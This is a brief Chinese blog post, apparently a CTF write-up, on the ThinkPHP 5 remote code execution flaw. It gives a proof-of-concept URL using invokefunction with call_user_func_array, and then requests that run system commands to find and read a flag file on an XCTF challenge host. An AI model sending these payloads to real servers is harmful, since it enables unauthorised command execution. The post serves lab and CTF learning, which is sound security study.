Thinkphp 远程执行漏洞

容器环境:https://vulhub.org/#/environments/thinkphp/5-rce/

 

POC

 http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

 

 

 

 

XCTF中的php_rce题目:

 

 

 

使用POC可以成功返回phpinfo,接着我们查找一下flag文件在哪

http://220.249.52.133:46460/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20flag

得到

 

 

最后获取flag:

http://220.249.52.133:46460/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

页面返回:flag{thinkphp5_rce}

posted @ 2020-10-14 14:08  LuoSpider  阅读(294)  评论(0编辑  收藏  举报